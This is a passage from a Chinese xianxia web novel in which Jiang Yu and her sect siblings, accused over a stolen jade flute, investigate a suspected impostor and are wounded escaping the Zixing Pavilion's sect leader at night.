翌日清晨,姜瑜是被门外的动静扰醒的,她挣了挣眼,缓了片刻才行至门前,抬手握住门把,将门向外推开。
映入眼帘的是一群身着紫色衣衫的紫星阁弟子,拿着各自的音器,将屋门团团围住。
“呦,我当是谁来了。”姜瑜抬手按了按额角,“赵姑娘,这大清早的什么事整这么热闹啊?”
“姜瑜姑娘。”赵清砚手握竹笛,欠身向前,“明人不拐暗角,你也知道我阁的鸣月玉笙不见了,昨夜我派人搜寻了大半个阁门,皆不见玉笙踪迹,如今只剩下你那曾离开过紫星阁的师弟最有嫌疑。”
“嗯,然后呢?”姜瑜懒洋洋的掀了掀眼皮。
“念在你我两派交情匪浅的份上,我阁自不愿与你们动手,还望姑娘配合,将你那师弟上交与我们。”赵清砚道。
“你也说了,他是我师弟。”姜瑜慢悠悠的走下台阶,一步一步的向着赵清砚的方向移去,“那你怎么敢,又怎么能,拿我与师弟的交情,来跟两派之间的交情比的?”
“奉劝姑娘应以大局为重。”赵清砚道。
“大局?”姜瑜轻笑出声,她抬眼看向赵清砚,“大局就是我们带领一众弟子来参加武道会比,来时你们以宾相敬,以礼相待,反倒因没看管好自己家的宝贝,将我们软禁于此?”
“既然姑娘选择敬酒不吃吃罚酒,那我也便就不再客气了。”赵清砚说罢便抬起自己手中的竹笛,音律幻化间,数道绿色音符将姜瑜围住。
姜瑜起身躲过几道攻击,抬手聚齐一股灵力,长剑随气而来,瞬落于手中。
她顺势将击来的音符顺势打断,自顾不暇之时,抬眼撇到一旁其余众弟子往屋内走去。
姜瑜抽空凝起一道灵气,在空中虚无中画出一道符咒,五指并拢伴随着掌心一拍,封住了入门的去路。
“我师兄师妹他们呢?”姜瑜问。
“这个你放心,长老有在好好招待他们。”赵清砚说罢只将竹笛送出手中,在空中旋转过后,直接化作竹剑与困在音符之中的姜瑜挣打在一起。
“卑鄙。”姜瑜格力一挡,将竹剑撇去数丈远,待赵清砚还没反应过来时,一阵劲风扫过,吹起了她鬓处的几根发丝,只不过一眨眼的功夫,姜瑜已瞬到了眼前。
她将剑身搭在赵清砚肩侧时,还不忘扯起嘴角,毫不掩饰的笑意从她眼底散发而来:“赵姑娘,你输了。”
“从一开始你就斗不过我。”
赵清砚吞咽了一口口水,姜瑜转至她身后,剑架于脖上,说道:“把她们撤走。”
赵清砚不情愿的说道:“你们先退下。”
“我们青冥宗本就不是多管闲事的主,你们的阁宝丢了便给我们扣上这么大一口锅,这,属实有点不妥吧?”姜瑜唇边依旧扯着笑,眼底却冷的见底。
“还是说,你们掌门觉得我们青冥宗,真就能瞧得上你们那些破烂玩意儿?”
“鸣月玉笙……”姜瑜顿了顿,再抬眼时眼眸平静的吓人,“我可以帮你们去寻。”
“只是事后,你我两派井水不犯河水,上下百余年的交情,就断了吧。”姜瑜说的及淡,让人觉得她只是在道一件再平常不过的事。
“以后也别说什么交情匪浅之类的话了。”姜瑜抬起另一只手,低垂着眼,不经意的拍了拍落在赵清砚肩前的灰,“我怕叫九州大陆的人听了笑话。”
话音刚落,一道疾驰灵力顺势而来,被姜瑜侧身躲过,再抬眼时就见刘苏叶身后跟着裴恒之、沈晚宁两人,正往此地赶来。
“是老身有欠周虑了。”刘苏叶上前一步,“事发突然,望瑜儿看在我这把老骨头的面上,宽恕我这鲁莽徒儿一次。”
姜瑜看了眼身后的裴恒之,后者微微点了点头,收剑时,赵清砚脖颈处被她“不经意”的擦破一层皮,因而渗出来一抹血色。
“刀剑无言,难免有磕碰,赵姑娘见谅。”姜瑜道。
“师姐!”沈晚宁皱着眉一道小跑到姜瑜身边,故意用力撞向赵清砚肩膀一侧,将她挤开到一旁,“师姐你受伤了吗?”
姜瑜摇摇头。
“鸣月玉笙被奸人盗,倘若魔族拿此物大肆作虐,难免会扰乱九州百姓安宁。”裴恒之同样皱着眉,款步走至姜瑜身前停下。
“这关乎九州大陆的安宁。”刘苏叶补充道,“有你们青冥宗相助,我紫星阁定会早日寻回玉笙,以保九洲安宁。”
“倘若青冥宗不愿相助,也在情理之中,我们紫星阁自愿放人,在此承诺不再行不合礼矩之事。”刘苏叶叹气道。
姜瑜轻挑眉毛,鸣月玉笙是主线之一,这个剧情,她必须去走。
而原书中确没写过紫星阁有为难青冥宗一说,但这件事的前提是,那日武道会比中,去追那放诀之人的是裴恒之,不是应不妄。
保不齐后面剧情再能偏成什么样。
姜瑜现在有一种高考作文写了一半,发现自己偏题了,却又改不了,只能硬着头皮写的感觉。
“事已至此只能这样了。”姜瑜妥协开口,她扫了一眼裴恒之二人,目光落在刘苏叶身上,说,“你们派人照顾好我师弟,在此期间,最好不要耍什么花招。”
“我同师兄他们一起帮你寻那玉笙就是。”
话音刚落,屋们骤然大开,一道捕捉不到的身影从中袭来,他带了大半的灵气,吹得周遭紫衣弟子不得用灵气固住身型。
待应不妄瞬至姜瑜身侧时,他低下头而后抬眼看着姜瑜方才因打斗而散乱的头发,开口道:“不用他们照顾。”
“我同你们去查,如师姐所说,待我们替这群废物找到了玉笙,两派百年交情从此作废。”应不妄说完还抬头瞧了一眼裴恒之,补充道,
“相信掌门能理解我们的,对吧?”
刘苏叶轻咳一声,道:“你们青冥宗既有意帮我派寻回玉笙,我们自然感激不尽。各位既知一切皆是乌龙,还望众少侠不要见怪,老身给你们赔个不是。”
“受不起啊。”应不妄这才正眼去看刘苏叶,“哪有长辈给晚辈行不是的。”
他画风一转,慢悠悠的抬起手来,指向赵清砚等人,开口道:“你让她们,还有那个姓常的,都跪下来给我师姐道歉,我师姐原谅他们了,我也就原谅了。”
裴恒之先是拧眉扯了扯一旁的应不妄,摇头示意他不要太过,而一旁的姜瑜则是饶有兴趣的挑了挑眉。
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这样不太好吧,会不会折寿?
罢了,反正书中姜瑜也活不到寿终正寝,先让她们跪下道歉,自己爽了再说。
应不妄全当没看见,他自顾自的说道:“若连这点诚意都不显的话,刘长老怕不是只会空口套白狼?”
“你欺人太甚!”赵清砚上前一步,怒声道。
应不妄只淡淡扫了她一眼,便收回目光,重新审视着刘苏叶:“你说呢,刘长老?”
刘苏叶皱着眉,手中拐杖一敲,道:“少侠所提确有不妥,不过我们自然不会空口白话,待你们为我派找到那鸣月玉笙后,老身原以‘补天丹’相赠诸位。”
补天丹,九州之中只存在三颗,其一则被百年前诛魔仙人吃了去,其二在当今皇天子手中,至于这第三颗,一只流落九州,无踪无迹。
*
“师姐会信她真的会把补天丹送给我们?”沈晚宁坐在姜瑜一旁,自始至终皱着的眉头从未松懈下来。
“你是信我是下一个大乘真人,还是信她会给我们补天丹?”姜瑜趴在桌上,手里把玩着茶杯。
“信师姐是下一个大乘真人……”沈晚宁扭头看向姜瑜,满脸疑惑,转念问道,“那师姐为何会……”
“都不是傻子。”应不妄欠嘴补充道。
“他们都给出诚意了,即便知道补天丹不会有真,但意城至此,便不容拒绝。”裴恒之在一旁站着,道出声来解释,“如今在他们的地盘,撕破脸,对我们来说弊大于利。”
姜瑜拿起茶杯在桌上猛地一砸,她乃的!要不是有这个破剧情牵制,她能把那个厚脸皮老婆子祖宗十八代都问候一遍!
老虎不发威,真把我当小孩骗了?!
姜瑜再回过神来时,周围三人的目光皆落在她身上,她干咳一声:“没事,你们继续,别管我。”
暮色揉过最后一丝残阳,入墨色的黑夜紧随其后,卷入了这片虫鸣的土地。
姜瑜换了一身墨色夜行衣,在此之前她闲来无事躺床上思来想去,突然想到一个人,她至今还未见到那人的身影。
她吹灭了屋内的烛火,营造出她早早便就歇下的假象,身着一身黑,门被人轻轻带上。
她抬手一拢,黑色面罩遮住她大半容颜,灵力婉转间,她已飞檐上顶,青瓦在脚下无声承力,向着其他院落掠去。
听雨苑南侧有一片园林湖水,经过那片湖,便到了紫星阁的主殿,主殿往西则是刘苏叶的住所凝雪苑,往东则为另一批参赛大比的所居的听风苑。
不过须臾,姜瑜的身影已落在紫星阁主殿外的月台上。她足尖刚触实地,正欲转身往西走去,眼角余光却瞥见殿前一道人影
那人裹着墨绿衣袍,宽檐帽压得极低,遮住了大半张脸,行迹动作鬼祟,正往西侧的方向走。
姜瑜眯了眯眼,向着身后看了一眼东侧的院落,便毫不犹豫的往西跟了过去。
那抹墨绿色身影脚步急促,途中既不打量周遭,也无半分迟疑,显然对路径熟稔至极,目标直指凝雪苑。
姜瑜屏气凝神,悄然跟随,行至苑外,廊间挂着的琉璃灯已然亮起暖光,她当即侧身隐在院外的常青树后,细听着屋内的动静。
24. 人面皮
“你来了。”先是刘苏叶熟悉的声音从屋内传来,“这是下个月的,省着点。”
姜瑜拧着眉,侧身正听着,突然一道熟悉的暗器从夜深处击来,她猛地旋身一转,暗器直接穿透粗壮的常青树,稳稳的嵌在廊柱上。
姜瑜不多犹豫直接一记符纸应手飞出,随即她向着苑外深处瞬至过去,紧追在那放器之人身后。
她一路追出紫星阁阁门,跟到了阁南的竹林深处,青竹高耸入云,枝叶交错着遮去星月。
风过竹林时吹撒出的声响,混着极轻的衣料摩擦声,她放缓脚步,指尖暗扣着符纸,目光逐个扫过周围晃动的竹影。
倏然一道高出姜瑜半个头的黑影现身于她身后,紧接着便是一道不着边际的笑声,那音及小,却渗透了冰凉的竹林。
姜瑜不多犹豫,只一瞬,将手中符纸顺势递出,旋即转身后足尖借力点地,整个人飞身于空中,不等来人反应,便已抬手起阵,一套动作下来行云流水。
夜色如墨,抬眼时只见来人同她一样,身着一身简便的夜行衣,那黑影忙着应付姜瑜投来的符咒,未曾想他早已落入她的行杀阵。
“我认输!”方知有连忙将面罩从脸上摘下,双手作势举过头顶,做出一副投降的乖巧模样,“我打不过姐姐。”
方知有被困于行杀阵中,不敢再多有动弹,这行杀阵出于无形之中,阵法一旦成型,那所困之人只需稍移半步,四面便会同时射出百余箭矢,将人射成肉泥。
姜瑜倒不着急,她双手环于胸前,绕着方知有转了两圈,旋即点点头,道:“大半夜不睡觉,是有什么心事要跟姐姐说道说道吗?”
“武道会比时见刘玉一人起阵便已算是涨了见识,倒是真没想到姐姐竟也会单人行阵至此种地步。”方知有嘴角噙着笑,“弟弟实在佩服。”
“你除了会拍点马屁,还会点别的什么吗?”姜瑜一脸认真的歪头问他。
“我会的可多了,姐姐不如先放我出去,我再与姐姐细说?”方知有答道。
“少废话,你把鸣月玉笛交出来我就放你走。”姜瑜说。
方知有抬了抬眼,一脸真诚,道:“姐姐未免太高看我了吧,我哪有这么大本事去偷紫星阁的宝贝,谁闲着去上赶着送死啊?”
“那你说说看。”姜瑜手上一记响指,阵法陡然收紧,“鸣月玉笛是被谁偷了,让我听的满意了且就放你走。”
“姐姐是认定了鸣月玉笛被盗一事与我有关了?”应不妄问。
“那你为何在凝雪苑鬼鬼祟祟。”姜瑜反问道,“若非心里有鬼,又怎会大半夜的拿暗器伤人?”
方知有冷呵一声,到底是谁在凝雪苑鬼鬼祟祟?到底是谁在偷听别人讲话??
“鸣月玉笛我确实不清楚,不过隔天门刘氏少门主刘玉我认识,我前几天跟这位兄台照过面,他常年身子孱弱,可没来这次的会比。”方知有停顿片刻,看向姜瑜续而说道,
“而且,他可不会单人起阵这么邪门的功法。”
姜瑜听后皱起眉头,抬手一挥,阵法已消散与空中,她问:“你是说刘玉没来参加会比,那当日跟晚宁对打的是谁?”
“不知道。”方知有耸耸肩,走至姜瑜跟前,不忘吐槽道,“你别说,他两人长的倒是真像,身型也大差不差。”
方知有低着头,在拍身上沾染的灰土时,一道银光长剑折射这月光映照在他眼上,迫使他眯了眯眼,再抬头时便对上了姜瑜冰冷的眸光。
“你还没回答我,为何会出现在凝雪苑?”姜瑜冷着脸问道。
“姐姐,你问题太多了。”方知有无辜的歪了歪头,露出一道意味不明的笑意,“我下次见面再告诉你。”
话音刚落,一道灰白烟雾顺延至姜瑜眼前,她下意识抬手遮住脸,待烟雾散去后,方知有的人影早已消失不见。
姜瑜收起佩剑后若有所思——
方知有这人来历不明且阴险诡诈,至今都不知道他究竟有什么目的。
他说的话当然不能全信。
*
半夜偷溜出去的后果,就是第二天顶着个黑眼圈面见众人——刘苏叶一大早便召集众人去议事堂商讨对策。
姜瑜不情愿的被沈晚宁拉到议事堂的时候,眼都没睁开,此刻她单手拄着头,在案前打起了盹。
“昨日夜里,有人在我凝雪苑廊柱上投了一枚暗器。”刘苏叶说罢便将那枚暗器撂在桌上,“那贼人竟敢如此挑衅我派,简直不可容忍!”
话音刚落,此时的姜瑜也刚好打了个磕猛地惊醒,她揉了揉眼睛,望向桌上那枚暗器时才打起精神细听刘苏叶到底在说什么。
“瑜儿,你可有什么见解?”刘苏叶话锋一转,将目光落在了姜瑜身上,只见后者被点了名后,猛地站起身来。
姜瑜:这该死的条件反射。
“刘长老...我没什么见解,一切安排自当皆由长老定夺。”姜瑜作势揉了揉太阳穴,回道,
“昨日夜里没歇息好,现下脑子昏沉沉的,若长老无要紧事,瑜儿便就先退下了”
“身体要紧,去吧。”刘苏叶关心道,旋即闭上了眼摆摆手,说道,“若现无要紧事,那就都散了吧。”
姜瑜走在青石路上,身后一道脚步声由远及近,还未扭头那身影便陡然与她齐平,应不妄开口时声音平静,他道:“师姐昨夜没睡好?”
“嗯,有点儿。”姜瑜答。
她答完后应不妄好一会没说话,一直默默跟在姜瑜身侧,弄的身后的沈晚宁想上前搭话的机会都没有,只能默默跟在身后。
走到听雨苑院口时,姜瑜突然停下,身后的沈晚宁措不及防的撞上了她的后背。反观应不妄走在了前头,反应过来时他转身看向站在原地的姜瑜。
“师姐?”沈晚宁疑惑。
“你们说,这个世上有没有一种咒术或者秘法,可以让体型相差不多的人易容成另外一个人的相貌,且毫无破绽?”姜瑜问道。
“没听说过。”沈晚宁摇摇头,“这世上竟有如此稀奇的咒术?”
应不妄站在一旁沉思片刻,微微摇了摇头,没吭声。
“几年前西原锦书苏氏倒有
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一秘法,他们只需将想幻之人的相貌画于制好的人面皮上,再依秘法将此皮纸覆于自身面容,所变之人与原画大体无异。”裴恒之不紧不慢的走过来,说道,
“不过这对施法之人的画术要求极高,而且锦书苏氏几年前便无故被屠了满门,这秘术便也随之失传了。”
“锦书苏氏?”姜瑜重复嘟囔了一遍,旋即扭头看向裴恒之,问道,“裴师兄可知他们是被何人所害?”
裴恒之摇摇头,续而说道:“传言是得罪了什么人,至于其他只有说客编造,无从得知。”
“师妹怎么突然问起这个?”裴恒之转念问道。
姜瑜往前走了两步,直到行至园中湖中亭上后,才示意跟在身后的师兄弟妹们落座,才开口道:“我怀疑武道会比那日,与晚宁一同上台的并非刘玉。”
“当然我没什么实质性的证据,只是猜测。”姜瑜随后补充道,“假设此刘玉非彼刘玉,那他为何要扮作刘玉与晚宁在擂台上对决呢?”
“他又是如何依靠自身灵力,单人起阵的,后来法阵被收回时为何又恰巧碰上了‘噬阵诀’?”
“假设他与那放噬阵诀的人是一伙的,那他又为何要将晚宁困于阵中,目的又是什么?”
一连串的问题被姜瑜问出后,在场的所有人都陷入了沉思,反倒是沈晚宁疑惑片刻后,率先开口问道:
“师姐是如何判断刘玉是假的,既然一切都是猜测,倘若这刘玉不是假的,那师姐方才所提的一切疑问都将会被推翻,不是吗?”
“去听风苑。”裴恒之与应不妄同时开口。
应不妄抬眼撇了一眼裴恒之,率先起身往听风苑走去,而姜瑜他们几人相视一眼紧随其后。
*
听风苑。
“这都第几天了!”一位留着粗胡的壮汉对着眼前的一群紫衣姑娘吼着,他道,“再不放老子出去,信不信老子把你们紫星阁掀了?”
为首的是那日门前吵嚷的巧蝶,她拿着音器挡在壮汉身前,开口说道:“少废话,想出去先过我这关!”
一旁的彩虹扯了扯巧蝶的衣袖,小声提醒道:“赵师姐说了,让我们不要跟来客起争执。”
巧蝶一把扯过手,旋即说道:“你看他这样,像是能好好谈话的人吗?”
“我最讨厌你们这种以貌取人的嘴脸了!”壮汉听后,抡起手上的石锤就上前与巧蝶扭打在一起。
一旁的高瘦男子也不甘示弱,硬气道:“你们再不让小爷回家,我也就跟着他将你这紫星阁掀了去!”
说罢他握起手中长剑,便朝着彩虹袭来,这攻势措不及防,使她毫无防备。
长剑落下时,发生了“哐当”一声巨响,裴恒之此时已握起长剑将其挡了下来。
“师姐,这儿都乱成一锅粥了。”应不妄挑眉看向另外两处扭打在一起的紫星阁弟子与其他修士,旋即开口道,“师姐将他们趁乱炖了吧。”
姜瑜抬眼扫视一周,在角落处寻到一抹熟悉的身影,皱起了眉。应不妄见状便顺着姜瑜的视线看过去,旋即沉了脸色。
25. 寻“刘玉”
那人与应不妄生的及像,尤其是那双看狗都深情的桃花眼,非常的像!
“认识他?”应不妄不急不慢的开口说着,声音听不出半分情绪,“那师姐昨日夜里是去找他了?”
应不妄话音刚落,姜瑜这才从思绪中缓过神来,她扭头看向身侧的应不妄,这才问道:“昨夜你去找我了?”
“没有。”应不妄嘴硬说完这句话后,似是又觉得牵强,最后几度想张嘴最终又闭了下去。
他索性直接握紧手中的无望剑一同加入了裴恒之他们“劝架”的阵营中,顺便一剑之下挑翻了那壮汉的大石锤。
巧蝶本应是自顾不暇,被应不妄这一击,反倒留了口喘气的机会,她刚要抬手感谢,见到来人后愣在了原地:“是你?”
应不妄只撇了她一眼,并未搭话。手中握着的长剑随着他腕间流转、干净利落,一套剑术行云流水,那剑身终是架在了壮汉脖颈处。
此时的姜瑜早已走至方知有身前,她抬起头扯出一抹从容的笑意,开口道:“你可还记得昨夜与我说过什么?”
方知有全程看着她,眼睛都不眨片刻,他听后无赖道:“不记得了,实不相瞒我打小记性就不太好,不如姐姐提醒一下?”
“我没功夫跟你扯东扯西,要知道刘苏叶现下正在全力彻查昨日夜里暗器一事,你若不想被供出,最好同我如实交代。”
姜瑜嘴边依旧噙着笑,她低垂着眼,手指间不经意的揣摩着袖口,再度开口道:“不然我可保不准嘴巴什么时候会漏风。”
“随便你。”方知有双手背在身后,倚靠在身后的廊柱上,动作随意,“毕竟口说无凭,顺便提醒你一下,那枚暗器不是我的。”
方知有话音刚落,一道剑气裹着风,直击他身侧的廊柱,斩断了他几缕青发丝,紧随其后的是应不妄瞬剑而来的身形。
他手上握着剑柄,在姜瑜身侧站定时唇边还染着笑意,他开口言道:“不用管我,你们继续。”
方知有挑眉扫了一眼应不妄,最后目光定格在他的脸上:“我们见过。”
“你是……”
“姐姐的那位蠢师弟?”
应不妄掀了掀眼皮,再抬眼时情绪不显,唇边笑意更甚,他问道:“我们认识?”
“哦,差点忘了,当时我带着面具来着。”方知有像是突然想起来什么,补充道,“无境内我们见过的。”
“是你。”应不妄话音刚落,手中握着的长剑陡然收紧,毫不犹豫的向侧边划去,将那廊柱一同划了半截。
那剑风极快,若不是方知有反应迅速,他的项上人头估计早都没了。
“我不就说了你一句蠢,至于杀人灭口吗?!”方知有足尖点地,借力向后撤去。
反观一旁的姜瑜倒是随意的扫了一眼即将打起来的二人,便转身踱步离开了。
她现在最重要的是找到刘玉。
此时的裴恒之两人,早已配合紫星阁门弟子将其余几个闹事的压制下来,她凑近时,刚好听见裴恒之向他们问道:
“裴某并非有意冒犯,在场诸位可有谁近日见过刘玉?”
“刘玉?”彩虹听见后,便顺嘴问道,“裴少侠说的可是武道会比上那位紧靠单人便可起阵的奇?”
裴恒之微微点了点头已做回应,另外一旁被绑住双手的壮汉往地上淬了一口,说道:
“不是你们说刘兄伤及经脉,需要静养的吗,怎么,现在人不见了又来管我们要了?”
裴恒之抬剑将其架于壮汉肩侧处,说道:“说清楚,这话什么意思?”
一旁的瘦汉听了连忙说道:“刘玉自打武道会比身负重伤后便不住听风苑了,至于具体去了哪……”
他顿了顿,看向一旁的巧蝶以及其身后的一众紫衣弟子,说道:“你得问她们。”
“那会比前呢?”姜瑜开口问道,“会比前刘玉可来过你们听风苑,你们有谁是跟他一起来的紫星阁?”
只见他们互相对视一眼,随后都摇了摇头,为首的高瘦男子开口说道:“武道会比前倒没见过,他应该是会比当天才到的这儿。”
话音落下,裴恒之皱着眉看了一眼彩虹,后者则直接摆手连带着摇起了头,她忙说道:
“这些你们应该去问长老和大师姐她们,我们只是奉命行事的阁中弟子,并不知道刘玉具体住哪。”
裴恒之扭头看向姜瑜,此刻她不知何时,竟看着应不妄与方知有两人的打斗入了神——
方知有不是应不妄的对手。
两人实力悬殊太大,根本没有可打性,不过方知有的巧妙就在于,他动作迅速矫捷,以至于赶在应不妄的每一道杀招前,都被他躲了过去。
“姜师姐,我们接下来是要去问问刘长老和....赵清砚她们刘玉的下落吗?”
沈晚宁走近姜瑜身前,抬手轻轻跩了一下她的胳膊,随后犹豫片刻补充道,“说真的,我不太喜欢这个赵清砚。”
沈晚宁这才拉回了她的思绪,她摇了摇头,抬手招呼裴恒之凑近一些,悄声用着只有他们三人能听到的声音,说道:
“此事不必急于让刘苏叶她们知道,且先不排除刘玉是人面皮假扮的,你们去暗中调查一些紫星阁内所有与刘玉身型相似的男子,至于我和师弟,另有打算。”
姜瑜话音刚落,一道黄色攻击符咒疾风而来,紧随其后的是应不妄比这更快的剑气,无望剑在空中一挡,直接截断了那纸符咒。
姜瑜这才再次扭头望去,只见方知有冲着人群中喊道:“姜瑜你还真不管我死活啊,你知不知道你师弟出的每一招都是杀招,要命的!”
他说完又侧身躲过应不妄一记剑锋,姜瑜见状噗嗤一笑,她顺势飞身上前,抬手间灵力已落出,替他挡下一记杀招,随后说道:
“师弟,我还有要事相托于你,我们且先不与他计较。”
应不妄收回手中长剑,眼皮掀了掀,看都没看方知有一眼,径自走向姜瑜身前,才开口道:“师姐你应当知道,我从一开始就不喜欢掺和这些麻烦事。”
“我知道啊。”姜瑜眯了眯眼,顺手为他理了理衣角,旋即踮起脚尖,在他耳边轻声说道,“那如果这件事跟师姐有关,你帮不帮?”
*
夜风微凉,白日里还晴着天,晚上却起了一阵雨前风,那悄悄漫过窗棂,吹进了屋内。
应不妄扯了扯这一身粗布夜
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行衣,面上皱着眉,脸上也写满了嫌弃,他开口对着姜瑜说道:“这都哪来的,师姐就不能寻点好的料子吗?”
姜瑜轻啧一声,也嫌弃的回应解释道:“搞清楚状况,寄人篱下,有的穿就不错了好吗?”
“知道了。”应不妄无奈回道,“说吧,大半夜叫我打扮成这副样子,准备带我出来干什么见不得人的勾当呢?”
姜瑜斜眼撇了他一眼,随后伸出手来自然的拍了拍他的胳腕,说道:“你随我去紫星阁主殿找找,看看哪个地方最有可能住着刘玉。”
“你找他干什么?”应不妄问。
“哦。”姜瑜突然想到了什么,“忘了你当时只顾着打方知有了,没细听我们都说了什么。”
“……”
姜瑜把事情的来龙去脉与他简单的叙述了一道后,从桌上自顾自的倒了一杯茶,一口气喝了下去,“所以我想,今晚让你同我一起去一趟主殿。”
“还有那个掌门……”
“鸣月玉笛这么重要的宝贝都不见了,她自始至终都没露过面,全程都是刘苏叶在操持,你不觉得奇怪吗?”
应不妄顺手又给姜瑜倒了一杯茶,他坐在桌前,百无聊赖的单手撑着脸,续而回道:
“传闻紫星阁的掌门一心潜心修炼,若非各宗各派中商讨大事之外,其余的,她断然不会露面。”
“各大宗派掌门几十年才被宫召一次,距离罗淮阳上一次露面,少说也有十几年了。”
听应不妄解释完,姜瑜不紧不慢的喝了一口茶水,旋即问道:“你怎么知道这么多?”
应不妄听后眉梢微挑,颇有几分意外,他开口说道:“这些都是师父与我们讲过的,师姐莫不是在师父授业时走神了?”
“可能...吧?”姜瑜又喝了一口茶水。
最后一口茶送入嘴中时,姜瑜将茶杯往桌上一放,发出一声清响,她顺势抬手灭掉了屋内的烛火,对着应不妄说道:“走吧,我们去探探究竟。”
“你这么早将烛火灭掉,怎么出去?”应不妄起身对着暗处黑影问道。
“今天为何没有月光?!”姜瑜道。
“今晚阴天。”应不妄回她,旋即补充道,“师姐昨晚果然是出去见那个野男人了,要不然怎么会如此熟练。”
“……”姜瑜沉默片刻,再次开口,“师父没教过你,饭可以乱吃,话不可以乱说吗?”
“什么叫我去见野男人了?”姜瑜本来起身都摸黑着走到了门口,听到这话后转身准备斥责应不妄。却只见一道暖光随之而来,照亮了方才因昏暗而贴的及近的二人。
那道暖光度在了两人的脸上,将他们的五官照的及清,姜瑜眨了眨眼,对上应不妄那副漂亮的桃花眸子,一时间愣了神。
应不妄也低着头,透过光线,将视线落在她身上,随后唇角不自觉地泛起一抹笑意,他出声提醒道:“师姐看什么呢?”
“我脸上有什么东西吗?”
“……”姜瑜干咳两声,猛地转身,依旧嘴硬说道,“早知道你有照明符啊,非得让我摸瞎到门口了你才想起来用。”
“师姐不是也没想起来吗?”
“闭嘴!”
26. 初见掌门罗淮阳
“应不妄你踩到我了!”
“是吗?”应不妄手中捏着照明符,嘴边传来一声低笑,“拿抱歉。”
姜瑜扭头瞪了他一眼,旋即转身打开房门,门开时,迎面而来的是夜风裹着夜雨将至的潮润,凉气透过她的领口,直往里蹿。
她肩头下意识一颤,没忍住打了个哆嗦,双手连忙拢住胳膊,指尖轻轻摩挲着被风吹地微凉的布料,试图攥住点暖意。
“师姐,看来今晚不太适合出行呢。”应不妄见状懒懒的掀了掀眼皮,嘴上张了张,说道,“不如各自回屋,你我都能好好睡一觉。”
姜瑜听后巴掌大的脸上尽显紧皱着眉的一副嫌弃表情,她转身将身后应不妄手上所捏的照明符揭下,说道:“那怕是让你失望了,本师姐不允。”
说罢,她便一纸瞬身符先一步消失于应不妄眼前。
*
紫星阁的大殿独占一院,是整个阁中最绕的一处,廊中阁门诸多,且地势繁琐。
姜瑜与应不妄探完不知道是第几个房门后,她突然觉得这刘玉有没有其实也没有很重要了。
“杂物间、器室、乐室、画室、书阁……”姜瑜掰着手指在应不妄面前数着,“甚至还有一间是浴泉!她这紫星阁殿院未免也太万能了吧?”
“……”应不妄跟在姜瑜身后,不动声色的补充了一句,“照师姐这个方法找下去,说不定有缘能从哪件屋子里碰到罗淮阳呢。
话落时,姜瑜刚好推开了下一间廊门,未等她看清门后景象,便与一道裹着白色风帽的身影撞个正着。
四目相对的刹那,那抹白影掌心骤然凝起灵力,携风而来。
姜瑜翻身躲过,一旁的应不妄则默契地踏前半步,指尖亦凝出一道灵力,精准截住白影后续袭来的掌风。
“何人竟敢夜半擅闯我紫星阁殿院!”一道清冽的灵力顺势威压上前,瞬间笼罩了整个紫星阁的廊庭。
姜瑜借势翻身在地,与应不妄并肩而立,与那道威压之人面面相对。
他们二人此时都蒙着面,双双只露出一副明亮的眼眸,姜瑜率先开口道:“前辈,我们并非有意冒犯,实属无意这才惊扰了您,且在此赔个不是。”
话音未落,骤然狂风骤起,卷起廊下落叶与尘土,墨色云层被一道银亮闪电划破,天际随之滚过一声沉闷的雷声,瞬间将廊院照得亮白。
透过那一瞬简单的明光,姜瑜看清了映出白影风帽下一闪而过的面容,那双自带狠戾阴冷的眼神与某日在凝雪苑擦肩而过的一双神色重叠。
原来她就是紫星阁那位至今都未露面的掌门——罗淮阳。
“这倒无碍。”罗淮阳冷哼一声,周遭灵力随着她的调动,在这狂风中尽数压迫至他们周身,“老身杀了你们就是。”
应不妄刚要唤出无望剑与之对决,却被姜瑜当即手下一按,悄然阻止了下来,她在他耳边轻传道:“她是紫星阁掌门罗淮阳,师弟此刻出剑便会暴露身份,我们先撤。”
话毕,姜瑜率先拉住应不妄手腕一处,随着足尖点地,转身便向后撤去。
身后罗淮阳仅只身站在远地,一道威迫灵力却紧追不舍,那灵力幻化作一道紫莹长剑模样,剑尖直指姜瑜后背。
他们一路向南处竹林走去,灵气所过之处竹竿皆被尽数斩断。
姜瑜从手中掷处一道黄纸符咒,只见那符硬生将罗淮阳灵力化出的长剑挡下,在原地轰炸开来。
这一声轰炸所爆发出的冲击力,狠狠撞在二人后背,竟直直将他们往前掀飞出去,足有丈许距离才踉跄着落地。
姜瑜喉间一腥,猛吐一口烈血,喷溅在地上,而一旁的应不妄也不容乐观,他踉跄几步,终是没有撑住,召出无望剑当即作拐,半跪在地,也随之吐出一口血来。
“师姐也没说,是要我跟你出来送死,早知如此,我倒还不如刚开始就回屋睡我的觉,不淌这麻烦事。”应不妄强撑着说道。
“还不是你这个乌鸦嘴,前脚说完罗淮阳,后脚她本尊就站我们面前了。”姜瑜将双手放在膝盖上,身子弓着,满脸不服。
“我说来就来啊?”应不妄撑起身子,随意用手擦了擦唇边的余渍,“那我让她走,她走不走?”
话音刚落,远处传来的窸窸窣的声音便替姜瑜回答了这个问题——不走。
“仔细搜,掌门说了,活要见人死要见尸!”赵清砚熟悉的声音从竹林中传来。
“真是比狗皮膏药还难缠。”姜瑜也随意擦了擦唇角的血渍,她撇了一眼声音源头,嘴里愈加不满地嘟囔道。
“还能走吗,不能走的话师姐我先走一步,到时候你被她们抓住了,记得把我的那份锅也背上。”姜瑜三两步上前扶住应不妄,皱着眉问道。
“师姐。”应不妄低垂着眼看向面前的姜瑜,皮笑肉不笑,他说道,“之前怎么没发现你还有...如此不要脸的一面呢?”
“……”姜瑜抬眼对上应不妄的眸光时,一刀银色细闪再度席卷整个竹林,他们的脸上都带着方才因随意擦拭,却没擦干净的血渍。
她将手搭在应不妄腕间,往下一扯,连带着自己,一同滚近竹坡下——他们原先所待的地方,前脚刚离去,赵清砚带着紫星阁弟子后脚就跟来了。
姜瑜已经没有力气同他争辩了。
她当时发现不远处赵清砚与紫星阁弟子一众人的身影后,便同时把上了应不妄的手腕,一同坠下了那道陡坡。
*
照理来说,应不妄的修为要比姜瑜高上一个层次,丹田内所能调控的灵力要比她多上不止一点。
可最先醒过来的,竟是她。
姜瑜睁眼时,脸上不断滑落着冰凉的雨水,她自身早已陷入一片泥坑,浑身衣襟,黏湿难受。
手上,腕间,多处擦伤。
伤口与泥沙混杂在一起,透着刺骨的疼。
她挣扎半晌,试图爬起身来,双手撑地时却只觉全身无力,灵力被卸了空,腿上的伤在雨天也不合时宜的传来几阵绞痛。
姜瑜疼得皱紧了眉,又是一道银色长闪铺地而来,替她照清了周遭的景致。
